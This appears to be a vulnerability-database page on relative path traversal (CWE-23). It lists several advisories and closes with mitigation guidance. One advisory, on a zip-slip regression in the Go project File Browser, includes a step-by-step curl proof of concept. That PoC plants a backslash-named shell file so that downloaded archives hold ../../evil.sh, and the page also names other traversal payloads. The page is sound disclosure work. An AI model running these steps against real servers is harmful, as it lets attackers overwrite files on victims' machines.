CWE-23
AllowedRelative Path Traversal
Abstraction: Base · Status: Draft
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
843 vulnerabilities reference this CWE, most recent first.
GHSA-83XP-526H-J3WW
Vulnerability from github – Published: 2026-07-20 22:16 – Updated: 2026-07-20 22:16Summary
The fix for GHSA-gxjx-7m74-hcq8 / CVE-2026-54093 (shipped in v2.63.6) added a strings.ReplaceAll(nameInArchive, "\\", "/") step to the archive builder; this was the advisory's recommended "Primary Fix." On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator / manufactures a /-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory's "Secondary Mitigation" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.
A file named ..\..\evil.sh, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry ../../evil.sh. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim's machine. The original advisory's own payload ..\..\..\Windows\System32\evil.txt now becomes ../../../Windows/System32/evil.txt, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.
Details
1. The archive builder rewrites backslashes into path separators (http/raw.go:133)
nameInArchive := strings.TrimPrefix(path, commonPath)
nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))
nameInArchive = filepath.ToSlash(nameInArchive) // line 127, host separator only
// ... comment explaining the intent to strip Windows separators ...
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // line 133, creates traversal
filepath.ToSlash only rewrites the host separator, so on Linux a stored backslash survives until this explicit ReplaceAll. Replacing \ with the real separator / produces traversal rather than neutralizing it.
2. The rewritten name is used verbatim as the archive entry path (http/raw.go:137)
archiveFiles = append(archiveFiles, archives.FileInfo{
FileInfo: info,
NameInArchive: nameInArchive, // no path.Clean, no ".." rejection
Open: func() (fs.File, error) { return d.user.Fs.Open(path) },
})
The value is handed to the archiver, which writes the entry under exactly that name. There is no path.Clean, no rejection of .. segments, and no check that the entry stays within the archive root.
3. The malicious name is plantable through normal upload (http/resource.go, resourcePostHandler)
A backslash is a valid byte in a Linux filename, so ..\..\evil.sh is a single regular file inside the user's scope, it does not traverse on the server and passes the scope guard. resourcePostHandler derives the filename from r.URL.Path and cleans it with path.Clean("/" + ...), which only treats / as a separator; the URL-encoded segment ..%5C..%5Cevil.sh contains no /, so cleaning leaves it intact and the file is written verbatim. This is the "Secondary Mitigation" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.
4. Every archive format shares the sink
NameInArchive is the single shared field for all algo values (zip, tar, targz, …), so the traversal entry appears identically in every supported archive type.
PoC
Tested against filebrowser/filebrowser:v2.63.15.
Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:
#1. Create a dir in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in (admin here, but any account with Create permission works)
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create the folder ziptest/
curl -s -X POST "$B/api/resources/ziptest/" -H "X-Auth: $T" -o /dev/null
#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)
curl -s -X POST "$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true" -H "X-Auth: $T" \
--data-binary $'#!/bin/sh\necho PWNED' -o /dev/null
#5. Download the folder as a zip and as a targz
curl -s "$B/api/raw/ziptest?algo=zip" -H "X-Auth: $T" -o out.zip
curl -s "$B/api/raw/ziptest?algo=targz" -H "X-Auth: $T" -o out.tar.gz
#6. Inspect the archive entry names: the backslash->slash rewrite turned ..\..\evil.sh into ../../evil.sh
python3 -c "import zipfile;print('ZIP:',zipfile.ZipFile('out.zip').namelist())"
python3 -c "import tarfile;print('TAR:',[m.name for m in tarfile.open('out.tar.gz').getmembers()])"
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
POST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true -> 200 (stored on disk as the single file ..\..\evil.sh)
GET /api/raw/ziptest?algo=zip -> 200 (zip bytes)
GET /api/raw/ziptest?algo=targz -> 200 (gzip bytes)
The archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:
ZIP: ['../../evil.sh']
TAR: ['../../evil.sh']
Extracting either archive with a permissive extractor writes evil.sh two directories above the intended target, outside the extraction folder.
Impact
- Zip-slip / tar-slip on the victim host: extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.
- Who is affected: any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.
- Regression that widened the blast radius: before this rewrite,
..\..\evil.shonly traversed on Windows extractors; afterwards the entry is../../evil.shand traverses on Linux and macOS extractors as well. - Low attacker bar: only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim's extraction step.
Recommended Fix
The current ReplaceAll(nameInArchive, "\\", "/") is the root cause and should be removed: replacing a backslash with the POSIX separator / creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:
// http/raw.go, getFiles, replace the backslash->slash rewrite:
nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "_") // neutralize, do not separate
// And reject any residual traversal before adding the entry:
clean := path.Clean("/" + nameInArchive)
if strings.Contains(nameInArchive, "..") || clean != "/"+nameInArchive {
return nil, fmt.Errorf("unsafe archive entry name: %q", nameInArchive)
}
Additionally, implement the "Secondary Mitigation" recommended in GHSA-gxjx-7m74-hcq8 but never shipped: reject or sanitize filenames containing backslashes at creation time in http/resource.go (resourcePostHandler), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.16"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.63.6"
},
{
"fixed": "2.63.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62843"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:16:09Z",
"nvd_published_at": "2026-07-15T16:16:52Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe fix for `GHSA-gxjx-7m74-hcq8` / `CVE-2026-54093` (shipped in v2.63.6) added a `strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\")` step to the archive builder; this was the advisory\u0027s recommended \"Primary Fix.\" On a Linux host a backslash is a legal, non-separator filename character, so replacing it with the real POSIX separator `/` **manufactures** a `/`-delimited traversal sequence out of a benign single file name. The fix neutralized the Windows-only vector but reintroduced the same class of bug on POSIX systems, and the advisory\u0027s \"Secondary Mitigation\" (reject backslash filenames at creation time) was never implemented, so the malicious file can still be planted.\n\nA file named `..\\..\\evil.sh`, one ordinary regular file on a Linux server, is emitted into generated zip/tar archives as the entry `../../evil.sh`. Any user with upload (Create) permission can plant such a file; when anyone later downloads the containing folder as an archive and extracts it, the entry escapes the extraction directory on the victim\u0027s machine. The original advisory\u0027s own payload `..\\..\\..\\Windows\\System32\\evil.txt` now becomes `../../../Windows/System32/evil.txt`, which, unlike before the fix, also traverses on Linux and macOS extractors. The fix turned a Windows-only zip-slip into a cross-platform one.\n\n## Details\n\n**1. The archive builder rewrites backslashes into path separators (`http/raw.go:133`)**\n\n```go\nnameInArchive := strings.TrimPrefix(path, commonPath)\nnameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator))\nnameInArchive = filepath.ToSlash(nameInArchive) // line 127, host separator only\n// ... comment explaining the intent to strip Windows separators ...\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"/\") // line 133, creates traversal\n```\n\n`filepath.ToSlash` only rewrites the host separator, so on Linux a stored backslash survives until this explicit `ReplaceAll`. Replacing `\\` with the real separator `/` produces traversal rather than neutralizing it.\n\n**2. The rewritten name is used verbatim as the archive entry path (`http/raw.go:137`)**\n\n```go\narchiveFiles = append(archiveFiles, archives.FileInfo{\n FileInfo: info,\n NameInArchive: nameInArchive, // no path.Clean, no \"..\" rejection\n Open: func() (fs.File, error) { return d.user.Fs.Open(path) },\n})\n```\n\nThe value is handed to the archiver, which writes the entry under exactly that name. There is no `path.Clean`, no rejection of `..` segments, and no check that the entry stays within the archive root.\n\n**3. The malicious name is plantable through normal upload (`http/resource.go`, `resourcePostHandler`)**\n\nA backslash is a valid byte in a Linux filename, so `..\\..\\evil.sh` is a single regular file inside the user\u0027s scope, it does not traverse on the server and passes the scope guard. `resourcePostHandler` derives the filename from `r.URL.Path` and cleans it with `path.Clean(\"/\" + ...)`, which only treats `/` as a separator; the URL-encoded segment `..%5C..%5Cevil.sh` contains no `/`, so cleaning leaves it intact and the file is written verbatim. This is the \"Secondary Mitigation\" the parent advisory recommended but that was never implemented; backslash-containing filenames are still accepted at creation time.\n\n**4. Every archive format shares the sink**\n\n`NameInArchive` is the single shared field for all `algo` values (`zip`, `tar`, `targz`, \u2026), so the traversal entry appears identically in every supported archive type.\n\n## PoC\n\nTested against `filebrowser/filebrowser:v2.63.15`.\n\n**Attack Vector: plant a backslash-named file via upload, then download the folder as an archive:**\n\n```bash\n#1. Create a dir in /tmp and start a fresh v2.63.15 container\nmkdir -p /tmp/filebrowser-test/srv\ndocker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 \u0026\u0026 sleep 4\nB=http://localhost:8090\n\n#2. Log in (admin here, but any account with Create permission works)\nAP=$(docker logs filebrowser-test 2\u003e\u00261 | grep -o \u0027password: .*\u0027 | awk \u0027{print $2}\u0027)\nT=$(curl -s -X POST $B/api/login -H \u0027Content-Type: application/json\u0027 -d \"{\\\"username\\\":\\\"admin\\\",\\\"password\\\":\\\"$AP\\\"}\")\n\n#3. Create the folder ziptest/\ncurl -s -X POST \"$B/api/resources/ziptest/\" -H \"X-Auth: $T\" -o /dev/null\n\n#4. Upload one file whose name contains backslashes (a single legal Linux filename inside scope; does not traverse on the server)\ncurl -s -X POST \"$B/api/resources/ziptest/..%5C..%5Cevil.sh?override=true\" -H \"X-Auth: $T\" \\\n --data-binary $\u0027#!/bin/sh\\necho PWNED\u0027 -o /dev/null\n\n#5. Download the folder as a zip and as a targz\ncurl -s \"$B/api/raw/ziptest?algo=zip\" -H \"X-Auth: $T\" -o out.zip\ncurl -s \"$B/api/raw/ziptest?algo=targz\" -H \"X-Auth: $T\" -o out.tar.gz\n\n#6. Inspect the archive entry names: the backslash-\u003eslash rewrite turned ..\\..\\evil.sh into ../../evil.sh\npython3 -c \"import zipfile;print(\u0027ZIP:\u0027,zipfile.ZipFile(\u0027out.zip\u0027).namelist())\"\npython3 -c \"import tarfile;print(\u0027TAR:\u0027,[m.name for m in tarfile.open(\u0027out.tar.gz\u0027).getmembers()])\"\n```\n\nExpected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):\n\n```http\nPOST /api/resources/ziptest/..%5C..%5Cevil.sh?override=true -\u003e 200 (stored on disk as the single file ..\\..\\evil.sh)\nGET /api/raw/ziptest?algo=zip -\u003e 200 (zip bytes)\nGET /api/raw/ziptest?algo=targz -\u003e 200 (gzip bytes)\n```\n\nThe archive entry names, the value the reader should check, come back as the traversal path manufactured from the backslashes:\n\n```\nZIP: [\u0027../../evil.sh\u0027]\nTAR: [\u0027../../evil.sh\u0027]\n```\n\nExtracting either archive with a permissive extractor writes `evil.sh` two directories above the intended target, outside the extraction folder.\n\n## Impact\n\n- **Zip-slip / tar-slip on the victim host:** extracting a downloaded archive writes the planted file to an attacker-chosen relative path outside the extraction directory, enabling overwrite of configuration, startup scripts, or other files, potentially leading to code execution depending on what is overwritten.\n- **Who is affected:** any party who downloads a folder-as-archive containing the planted file, the folder owner, a collaborator, an admin performing a backup, or a recipient of a shared/public link to the folder.\n- **Regression that widened the blast radius:** before this rewrite, `..\\..\\evil.sh` only traversed on Windows extractors; afterwards the entry is `../../evil.sh` and traverses on Linux and macOS extractors as well.\n- **Low attacker bar:** only Create permission (the default for normal users) is needed to plant the file; the traversal triggers on the victim\u0027s extraction step.\n\n## Recommended Fix\n\nThe current `ReplaceAll(nameInArchive, \"\\\\\", \"/\")` is the root cause and should be removed: replacing a backslash with the POSIX separator `/` creates the very traversal it is meant to prevent. Neutralize backslashes instead, and reject traversal in archive entry names:\n\n```go\n// http/raw.go, getFiles, replace the backslash-\u003eslash rewrite:\nnameInArchive = strings.ReplaceAll(nameInArchive, \"\\\\\", \"_\") // neutralize, do not separate\n\n// And reject any residual traversal before adding the entry:\nclean := path.Clean(\"/\" + nameInArchive)\nif strings.Contains(nameInArchive, \"..\") || clean != \"/\"+nameInArchive {\n return nil, fmt.Errorf(\"unsafe archive entry name: %q\", nameInArchive)\n}\n```\n\nAdditionally, implement the \"Secondary Mitigation\" recommended in `GHSA-gxjx-7m74-hcq8` but never shipped: reject or sanitize filenames containing backslashes at creation time in `http/resource.go` (`resourcePostHandler`), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.",
"id": "GHSA-83xp-526h-j3ww",
"modified": "2026-07-20T22:16:09Z",
"published": "2026-07-20T22:16:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62843"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)"
}
GHSA-8489-G9W2-CCX7
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32Relative path traversal in DNS Server allows an authorized attacker to execute code over an adjacent network.
{
"affected": [],
"aliases": [
"CVE-2026-50426"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:17:46Z",
"severity": "MODERATE"
},
"details": "Relative path traversal in DNS Server allows an authorized attacker to execute code over an adjacent network.",
"id": "GHSA-8489-g9w2-ccx7",
"modified": "2026-07-14T18:32:22Z",
"published": "2026-07-14T18:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50426"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-84XV-JFRM-H4GM
Vulnerability from github – Published: 2024-02-14 00:35 – Updated: 2026-02-27 20:59A vulnerability was found in the decompression function of registry-support. This issue can be triggered by an unauthenticated remote attacker when tricking a user into opening a specially modified .tar archive, leading to the cleanup process following relative paths to overwrite or delete files outside the intended scope.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/devfile/registry-support/registry-library"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20240206"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-1485"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T23:18:42Z",
"nvd_published_at": "2024-02-14T00:15:46Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in the decompression function of registry-support. This issue can be triggered by an unauthenticated remote attacker when tricking a user into opening a specially modified .tar archive, leading to the cleanup process following relative paths to overwrite or delete files outside the intended scope.",
"id": "GHSA-84xv-jfrm-h4gm",
"modified": "2026-02-27T20:59:07Z",
"published": "2024-02-14T00:35:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1485"
},
{
"type": "WEB",
"url": "https://github.com/devfile/registry-support/pull/197"
},
{
"type": "WEB",
"url": "https://github.com/devfile/registry-support/commit/0e44b9ca6d03fac4fc3f77d37656d56dc5defe0d"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-1485"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2264106"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-84xv-jfrm-h4gm"
},
{
"type": "PACKAGE",
"url": "https://github.com/devfile/registry-support"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H",
"type": "CVSS_V4"
}
],
"summary": "registry-support: decompress can delete files outside scope via relative paths"
}
GHSA-89Q4-GFXM-XG78
Vulnerability from github – Published: 2024-06-11 15:31 – Updated: 2024-06-11 15:31If exploited an attacker could traverse the file system to access files or directories that would otherwise be inaccessible
{
"affected": [],
"aliases": [
"CVE-2024-2461"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T13:15:49Z",
"severity": null
},
"details": "If exploited an attacker could traverse the file system to access \nfiles or directories that would otherwise be inaccessible",
"id": "GHSA-89q4-gfxm-xg78",
"modified": "2024-06-11T15:31:13Z",
"published": "2024-06-11T15:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2461"
},
{
"type": "WEB",
"url": "https://publisher.hitachienergy.com/preview?DocumentId=8DBD000202\u0026languageCode=en\u0026Preview=true"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-8CPR-48RW-5RRC
Vulnerability from github – Published: 2025-12-26 18:30 – Updated: 2025-12-26 18:30Yealink T21P_E2 Phone 52.84.0.15 is vulnerable to Directory Traversal. A remote normal privileged attacker can read arbitrary files via a crafted request result read function of the diagnostic component.
{
"affected": [],
"aliases": [
"CVE-2025-66737"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-26T17:15:44Z",
"severity": "MODERATE"
},
"details": "Yealink T21P_E2 Phone 52.84.0.15 is vulnerable to Directory Traversal. A remote normal privileged attacker can read arbitrary files via a crafted request result read function of the diagnostic component.",
"id": "GHSA-8cpr-48rw-5rrc",
"modified": "2025-12-26T18:30:27Z",
"published": "2025-12-26T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66737"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1MpxnCL4koKupqWWDmY3ljlybjIPD8ieD/view?usp=sharing"
},
{
"type": "WEB",
"url": "http://yealink.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8CQX-PW8X-GX2V
Vulnerability from github – Published: 2023-03-23 18:30 – Updated: 2023-03-30 21:30A vulnerability in the web UI of Cisco IOS XE Software could allow an authenticated, remote attacker to perform a directory traversal and access resources that are outside the filesystem mountpoint of the web UI. This vulnerability is due to an insufficient security configuration. An attacker could exploit this vulnerability by sending a crafted request to the web UI. A successful exploit could allow the attacker to gain read access to files that are outside the filesystem mountpoint of the web UI. Note: These files are located on a restricted filesystem that is maintained for the web UI. There is no ability to write to any files on this filesystem.
{
"affected": [],
"aliases": [
"CVE-2023-20066"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web UI of Cisco IOS XE Software could allow an authenticated, remote attacker to perform a directory traversal and access resources that are outside the filesystem mountpoint of the web UI. This vulnerability is due to an insufficient security configuration. An attacker could exploit this vulnerability by sending a crafted request to the web UI. A successful exploit could allow the attacker to gain read access to files that are outside the filesystem mountpoint of the web UI. Note: These files are located on a restricted filesystem that is maintained for the web UI. There is no ability to write to any files on this filesystem.",
"id": "GHSA-8cqx-pw8x-gx2v",
"modified": "2023-03-30T21:30:25Z",
"published": "2023-03-23T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20066"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webui-pthtrv-es7GSb9V"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-8H78-R452-WVWV
Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2025-12-04 21:31There is a relative path traversal vulnerability in the NI System Web Server that may result in information disclosure. Successful exploitation requires an attacker to send a specially crafted request to the NI System Web Server, allowing the attacker to read arbitrary files. This vulnerability existed in the NI System Web Server 2012 and prior versions. It was fixed in 2013.
{
"affected": [],
"aliases": [
"CVE-2025-12097"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T20:16:16Z",
"severity": "HIGH"
},
"details": "There is a relative path traversal vulnerability in the NI System Web Server that may result in information disclosure. \u00a0Successful exploitation requires an attacker to send a specially crafted request to the NI System Web Server, allowing the attacker to read arbitrary files. \u00a0This vulnerability existed in the NI System Web Server 2012 and prior versions. \u00a0It was fixed in 2013.",
"id": "GHSA-8h78-r452-wvwv",
"modified": "2025-12-04T21:31:04Z",
"published": "2025-12-04T21:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12097"
},
{
"type": "WEB",
"url": "https://www.ni.com/en/support/security/available-critical-and-security-updates-for-ni-software/relative-path-traversal-vulnerability-in-ni-system-web-server.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8J49-66VH-8W64
Vulnerability from github – Published: 2025-09-17 09:30 – Updated: 2025-09-17 09:30In JetBrains TeamCity before 2025.07.2 path traversal was possible during project archive upload
{
"affected": [],
"aliases": [
"CVE-2025-59456"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-17T09:15:31Z",
"severity": "MODERATE"
},
"details": "In JetBrains TeamCity before 2025.07.2 path traversal was possible during project archive upload",
"id": "GHSA-8j49-66vh-8w64",
"modified": "2025-09-17T09:30:45Z",
"published": "2025-09-17T09:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59456"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-8JH5-3W8C-RV2J
Vulnerability from github – Published: 2026-05-29 12:31 – Updated: 2026-06-01 21:30Nozomi Networks Labs identified a CWE-23: Relative Path Traversal in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to read arbitrary files from the device.
{
"affected": [],
"aliases": [
"CVE-2025-41271"
],
"database_specific": {
"cwe_ids": [
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-29T12:16:23Z",
"severity": "HIGH"
},
"details": "Nozomi Networks Labs identified a CWE-23: Relative Path Traversal in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to read arbitrary files from the device.",
"id": "GHSA-8jh5-3w8c-rv2j",
"modified": "2026-06-01T21:30:41Z",
"published": "2026-05-29T12:31:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41271"
},
{
"type": "WEB",
"url": "https://www.nozominetworks.com/labs/vulnerability-advisories-cve-2025-41271"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8RFF-XVX4-WWHH
Vulnerability from github – Published: 2022-08-18 00:00 – Updated: 2023-06-27 18:30The “restore configuration” feature of Softing Secure Integration Server V1.22 is vulnerable to a directory traversal vulnerability when processing zip files. An attacker can craft a zip file to load an arbitrary dll and execute code. Using the "restore configuration" feature to upload a zip file containing a path traversal file may cause a file to be created and executed upon touching the disk.
{
"affected": [],
"aliases": [
"CVE-2022-1373"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-08-17T21:15:00Z",
"severity": "HIGH"
},
"details": "The \u201crestore configuration\u201d feature of Softing Secure Integration Server V1.22 is vulnerable to a directory traversal vulnerability when processing zip files. An attacker can craft a zip file to load an arbitrary dll and execute code. Using the \"restore configuration\" feature to upload a zip file containing a path traversal file may cause a file to be created and executed upon touching the disk.",
"id": "GHSA-8rff-xvx4-wwhh",
"modified": "2023-06-27T18:30:26Z",
"published": "2022-08-18T00:00:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1373"
},
{
"type": "WEB",
"url": "https://industrial.softing.com/fileadmin/psirt/downloads/syt-2022-5.html"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-228-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-29
Strategy: Firewall
